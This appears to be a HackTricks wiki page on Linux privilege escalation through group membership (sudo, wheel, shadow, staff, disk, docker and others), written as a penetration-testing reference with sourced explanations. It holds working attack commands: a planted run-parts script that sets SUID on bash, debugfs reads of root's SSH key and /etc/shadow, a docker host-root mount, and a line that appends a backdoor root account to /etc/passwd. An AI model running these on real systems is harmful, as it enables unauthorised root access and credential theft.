overview.md (16974B)
1 --- 2 title: "Interesting Groups - Linux Privesc" 3 section: "Linux" 4 sectionSlug: "linux-hardening" 5 sourcePath: "src/linux-hardening/user-information/interesting-groups-linux-pe/README.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/linux-hardening/user-information/interesting-groups-linux-pe/README.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: true 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Interesting Groups - Linux Privesc 14 15 ## Sudo/Admin Groups 16 17 ### **PE - Method 1** 18 19 **Sometimes**, a system's **/etc/sudoers** policy (or a file included from it) contains entries such as:<sup>[[3]](#references)</sup> 20 21 ```bash 22 # Allow members of group sudo to execute any command 23 %sudo ALL=(ALL:ALL) ALL 24 25 # Allow members of group admin to execute any command 26 %admin ALL=(ALL:ALL) ALL 27 ``` 28 29 This means that any user matched by either entry may run any command as any target user through `sudo` (subject to the rest of the policy).<sup>[[3]](#references)</sup> 30 31 If this is the case, to **become root you can just execute**: 32 33 ```text 34 sudo su 35 ``` 36 37 ### PE - Method 2 38 39 Find all suid binaries and check if there is the binary **Pkexec**: 40 41 ```bash 42 find / -perm -4000 2>/dev/null 43 ``` 44 45 If **pkexec is a SUID binary**, it can execute a program as another user only when polkit authorizes the requested action; the SUID bit alone does not guarantee root. Check the installed policy and the target session's authorization instead of assuming membership in **sudo** or **admin** is sufficient.<sup>[[4]](#references)[[5]](#references)</sup> 46 47 On distributions that still use the older Local Authority backend, inspect its group rules with: 48 49 ```bash 50 cat /etc/polkit-1/localauthority.conf.d/* 51 ``` 52 53 The relevant group names and defaults vary by distribution; a group is useful here only if the local policy names it.<sup>[[5]](#references)</sup> 54 55 To **become root you can execute**: 56 57 ```bash 58 pkexec "/bin/sh" #Authentication is required according to the local policy 59 ``` 60 61 If you try to execute **pkexec** and you get this **error**: 62 63 ```bash 64 polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie 65 ==== AUTHENTICATION FAILED === 66 Error executing command as another user: Not authorized 67 ``` 68 69 On an SSH session without a registered authentication agent, `pkexec` may fail with this error even when the policy would otherwise allow the action; polkit documents `pkttyagent` as a text authentication agent for non-desktop sessions. The exact behavior is version- and distribution-dependent, so verify the local policy and agent setup. One workaround reported for affected NixOS versions uses **2 different SSH sessions**.<sup>[[1]](#references)[[4]](#references)[[5]](#references)</sup> 70 71 ```bash 72 echo $$ #Step1: Get current PID 73 pkexec "/bin/bash" #Step 3, execute pkexec 74 #Step 5, if correctly authenticate, you will have a root session 75 ``` 76 77 ```bash 78 pkttyagent --process <PID of session1> #Step 2, attach pkttyagent to session1 79 #Step 4, you will be asked in this session to authenticate to pkexec 80 ``` 81 82 ## Wheel Group 83 84 Sometimes a sudoers policy may also contain this entry: 85 86 ```text 87 %wheel ALL=(ALL:ALL) ALL 88 ``` 89 90 This means that any user matched by the entry may run any command as any target user through `sudo` (subject to the rest of the policy).<sup>[[3]](#references)</sup> 91 92 If this is the case, to **become root you can just execute**: 93 94 ```text 95 sudo su 96 ``` 97 98 ## Shadow Group 99 100 On systems whose permissions grant it, users in the **shadow** group can **read** **/etc/shadow**; verify the actual mode and ACLs on the target:<sup>[[6]](#references)[[7]](#references)</sup> 101 102 ```text 103 -rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow 104 ``` 105 106 So, read the file and try to **crack some hashes**. 107 108 Quick lock-state nuance when triaging hashes: 109 - Entries with `!` or `*` are generally non-interactive for password logins. 110 - `!hash` means the password was locked; the remaining characters represent the password field before it was locked. 111 - A field containing `*` is not a valid `crypt(3)` hash and prevents UNIX-password login; do not infer from it whether a password was previously set. 112 This is useful for account classification even when direct login is blocked.<sup>[[6]](#references)</sup> 113 114 ## Staff Group 115 116 **staff**: Allows users to add local modifications to the system (`/usr/local`) without needing root privileges (note that executables in `/usr/local/bin` are in the PATH variable of any user, and they may "override" the executables in `/bin` and `/usr/bin` with the same name). Compare with group "adm", which is more related to monitoring/security.<sup>[[2]](#references)[[7]](#references)</sup> 117 118 On Debian configurations where `/usr/local/bin` precedes `/usr/bin` in `PATH` (as in the examples below), an unqualified command resolves to the `/usr/local/bin` copy first; confirm the effective `PATH` on the target. 119 120 ```bash 121 $ echo $PATH 122 /usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games 123 124 # echo $PATH 125 /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin 126 ``` 127 128 If a privileged process resolves an unqualified command through a writable `/usr/local/bin`, replacing that command can execute with the process's privileges; confirm the actual path and trigger before testing. 129 130 On Ubuntu systems, `pam_motd` runs executable scripts via `run-parts --lsbsysinit` as root at login; cron jobs may also use `run-parts`, but this is distribution- and configuration-specific.<sup>[[10]](#references)[[11]](#references)</sup> 131 132 ```bash 133 $ cat /etc/crontab | grep run-parts 134 17 * * * * root cd / && run-parts --report /etc/cron.hourly 135 25 6 * * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.daily; } 136 47 6 * * 7 root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; } 137 52 6 1 * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; } 138 ``` 139 140 On a new SSH login, `pspy` can help confirm whether this path is actually invoked on the target; it can observe process command lines without root.<sup>[[10]](#references)[[12]](#references)</sup> 141 142 ```bash 143 $ pspy64 144 2024/02/01 22:02:08 CMD: UID=0 PID=1 | init [2] 145 2024/02/01 22:02:10 CMD: UID=0 PID=17883 | sshd: [accepted] 146 2024/02/01 22:02:10 CMD: UID=0 PID=17884 | sshd: [accepted] 147 2024/02/01 22:02:14 CMD: UID=0 PID=17886 | sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new 148 2024/02/01 22:02:14 CMD: UID=0 PID=17887 | sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new 149 2024/02/01 22:02:14 CMD: UID=0 PID=17888 | run-parts --lsbsysinit /etc/update-motd.d 150 2024/02/01 22:02:14 CMD: UID=0 PID=17889 | uname -rnsom 151 2024/02/01 22:02:14 CMD: UID=0 PID=17890 | sshd: mane [priv] 152 2024/02/01 22:02:15 CMD: UID=0 PID=17891 | -bash 153 ``` 154 155 **Exploit** 156 157 ```bash 158 # 0x1 Add a run-parts script in /usr/local/bin/ 159 $ vi /usr/local/bin/run-parts 160 #! /bin/bash 161 chmod 4777 /bin/bash 162 163 # 0x2 Don't forget to add a execute permission 164 $ chmod +x /usr/local/bin/run-parts 165 166 # 0x3 start a new ssh sesstion to trigger the run-parts program 167 168 # 0x4 check premission for `u+s` 169 $ ls -la /bin/bash 170 -rwsrwxrwx 1 root root 1099016 May 15 2017 /bin/bash 171 172 # 0x5 root it 173 $ /bin/bash -p 174 ``` 175 176 ## Disk Group 177 178 Membership in the **disk** group may grant raw access to block devices and is often **close to root access**; Debian describes it as mostly equivalent to root, but verify the actual device permissions and storage layout on the target.<sup>[[7]](#references)</sup> 179 180 Common device paths include `/dev/sd*`, but NVMe and other storage layouts use different names. 181 182 ```bash 183 df -h #Find where "/" is mounted 184 debugfs /dev/sda1 185 debugfs: cd /root 186 debugfs: ls 187 debugfs: cat /root/.ssh/id_rsa 188 debugfs: cat /etc/shadow 189 ``` 190 191 `debugfs` operates on ext2/ext3/ext4 filesystems; paths such as `/root` and `/etc/shadow` above are files inside the opened filesystem, while the second argument to `dump` is an output path on the native filesystem.<sup>[[8]](#references)</sup> For example, this extracts `/tmp/asd1.txt` from the opened filesystem to `/tmp/asd2.txt` on the native filesystem: 192 193 ```bash 194 debugfs /dev/sda1 195 debugfs: dump /tmp/asd1.txt /tmp/asd2.txt 196 ``` 197 198 The `-w` option opens the filesystem read-write, and the `write` command copies a native file into the opened filesystem. Avoid using it on a mounted live filesystem because direct edits can corrupt the filesystem; work from an offline image when possible.<sup>[[8]](#references)</sup> 199 200 ```bash 201 debugfs -w /dev/sda1 202 debugfs: write /tmp/asd1.txt /tmp/asd2.txt 203 ``` 204 205 ## Video Group 206 207 Using the command `w` you can find **who is logged on the system** and it will show an output like the following one.<sup>[[20]](#references)</sup> 208 209 ```bash 210 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT 211 yossi tty1 22:16 5:13m 0.05s 0.04s -bash 212 moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash 213 ``` 214 215 The **tty1** entry identifies the first Linux virtual console; it does not by itself prove that a user is physically present at the machine, especially in containers or other environments.<sup>[[21]](#references)</sup> 216 217 On systems exposing a readable framebuffer device, membership in the **video** group may grant access to that device. The Linux framebuffer interface documents `/dev/fb0` as a readable memory device that can be copied for a screen snapshot; the `/sys/class/graphics/fb0/virtual_size` path is available only where that fbdev sysfs attribute is present, so check the target first.<sup>[[7]](#references)[[9]](#references)</sup> 218 219 ```bash 220 cat /dev/fb0 > /tmp/screen.raw 221 cat /sys/class/graphics/fb0/virtual_size 222 ``` 223 224 If the installed **GIMP** version exposes a raw-data importer, open **`screen.raw`** with that importer; support and controls vary by version and plug-in.<sup>[[22]](#references)</sup> 225 226  227 228 Set the image Width and Height to match the framebuffer geometry; try the available pixel formats/Image Types until the output is legible.<sup>[[9]](#references)</sup> 229 230  231 232 ## Root Group 233 234 Membership in the **root** group does not provide root's UID, but group-writable files owned by `root` can still be interesting when privileged services or libraries consume them. Verify the file's actual permissions and how it is used before treating it as a privilege-escalation path. 235 236 **Check which files root members can modify**: 237 238 ```bash 239 find / -group root -perm -g=w 2>/dev/null 240 ``` 241 242 ## Docker Group 243 244 Membership in the `docker` group grants root-level access to the Docker daemon on standard rootful installs. Because bind mounts are read-write by default, a user who can control that daemon can mount the host's `/` into a container and alter host files; this effectively gives root on the host.<sup>[[13]](#references)[[14]](#references)[[15]](#references)</sup> 245 246 ```bash 247 docker image #Get images from the docker service 248 249 #Get a shell inside a docker container with access as root to the filesystem 250 docker run -it --rm -v /:/mnt <imagename> chroot /mnt bash 251 #If you want full access from the host, create a backdoor in the passwd file 252 echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /etc/passwd 253 254 #Ifyou just want filesystem and network access you can startthe following container: 255 docker run --rm -it --pid=host --net=host --privileged -v /:/mnt <imagename> chroot /mnt bash 256 ``` 257 258 Finally, if you don't like any of the suggestions of before, or they aren't working for some reason (docker api firewall?) you could always try to **run a privileged container and escape from it** as explained here: 259 260 [Container Security](/hacktricks/linux-hardening/containers-namespaces/container-security/overview) 261 262 If you have write permissions over the docker socket read [**this post about how to escalate privileges abusing the docker socket**](../../1-linux-basics/linux-privilege-escalation/index.html#writable-docker-socket)**.** 263 264 [Docker Privilege Escalation](https%3A//github.com/KrustyHack/docker-privilege-escalation) 265 266 [Privilege Escalation Via Docker.Html](https%3A//fosterelli.co/privilege-escalation-via-docker.html) 267 268 ## lxc/lxd Group 269 270 [.](/hacktricks/linux-hardening/user-information/interesting-groups-linux-pe/overview) 271 272 ## Adm Group 273 274 Usually **members** of the group **`adm`** have permissions to **read log** files located inside _/var/log/_.\ 275 Therefore, if you have compromised a user inside this group you should definitely take a **look to the logs**.<sup>[[7]](#references)</sup> 276 277 ## Backup / Operator / lp / Mail groups 278 279 These groups have service- and distribution-specific meanings. Debian documents `backup` for delegated backup/restore, `lp` for printer daemons, and `mail` for `/var/mail`, so check local permissions before treating membership as a privilege path.<sup>[[7]](#references)</sup> 280 281 They are often **credential-discovery** vectors rather than direct root vectors: 282 - **backup**: may expose archives with configs, keys, DB dumps, or tokens. 283 - **operator**: platform-specific operational access that can leak sensitive runtime data. 284 - **lp**: print queues/spools can contain document contents. 285 - **mail**: mail spools can expose reset links, OTPs, and internal credentials. 286 287 Treat membership here as a high-value data exposure finding and pivot through password/token reuse. 288 289 ## Auth group 290 291 On OpenBSD, when S/Key is configured, `/etc/skey` is owned by `root:auth` and access to its records requires group `auth`; YubiKey records are stored in `/var/db/yubikey`.<sup>[[16]](#references)[[17]](#references)</sup> A vulnerable OpenBSD 6.6 configuration with S/Key or YubiKey enabled allowed local users with `auth` privileges to become root; Qualys documents the prerequisite and exploit chain, and the linked PoC implements it.<sup>[[18]](#references)[[19]](#references)</sup> 292 293 ## References 294 295 - [1] [pkexec/pkttyagent authentication without a GUI session (NixOS issue #18012)](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903) 296 - [2] [SystemGroups - Debian Wiki](https://wiki.debian.org/SystemGroups) 297 - [3] [sudoers(5) — sudo — Debian Manpages](https://manpages.debian.org/bookworm/sudo/sudoers.5.en.html) 298 - [4] [pkexec — polkit Reference Manual](https://polkit.pages.freedesktop.org/polkit/pkexec.1.html) 299 - [5] [polkit — polkit Reference Manual](https://polkit.pages.freedesktop.org/polkit/polkit.8.html) 300 - [6] [shadow(5) — Linux manual page](https://man7.org/linux/man-pages/man5/shadow.5.html) 301 - [7] [Securing Debian Manual](https://www.debian.org/doc/manuals/securing-debian-manual/securing-debian-manual.en.pdf) 302 - [8] [debugfs(8) — Linux manual page](https://www.man7.org/linux/man-pages/man8/debugfs.8.html) 303 - [9] [The Frame Buffer Device — The Linux Kernel documentation](https://docs.kernel.org/fb/framebuffer.html) 304 - [10] [update-motd(5) — Ubuntu Manpages](https://manpages.ubuntu.com/manpages/resolute/man5/update-motd.5.html) 305 - [11] [run-parts(8) — Debian Manpages](https://manpages.debian.org/unstable/debianutils/run-parts.8.en.html) 306 - [12] [pspy — unprivileged Linux process snooping](https://github.com/DominicBreuker/pspy) 307 - [13] [Docker Engine security](https://docs.docker.com/engine/security/) 308 - [14] [Manage Docker as a non-root user](https://docs.docker.com/engine/install/linux-postinstall) 309 - [15] [Running containers — Docker Docs](https://docs.docker.com/engine/containers/run/) 310 - [16] [skey(5) — OpenBSD manual pages](https://man.openbsd.org/skey.5) 311 - [17] [login_yubikey(8) — OpenBSD manual pages](https://man.openbsd.org/login_yubikey.8) 312 - [18] [Authentication vulnerabilities in OpenBSD — Qualys Security Advisory](https://www.openwall.com/lists/oss-security/2019/12/04/5) 313 - [19] [openbsd-authroot — local exploit PoC](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot) 314 - [20] [w(1) — Linux manual page](https://man7.org/linux/man-pages/man1/w.1.html) 315 - [21] [Linux allocated devices (4.x+ version)](https://docs.kernel.org/6.16/admin-guide/devices.html) 316 - [22] [Image Import and Export — GIMP Documentation](https://docs.gimp.org/3.0/en/gimp-prefs-import-export.html)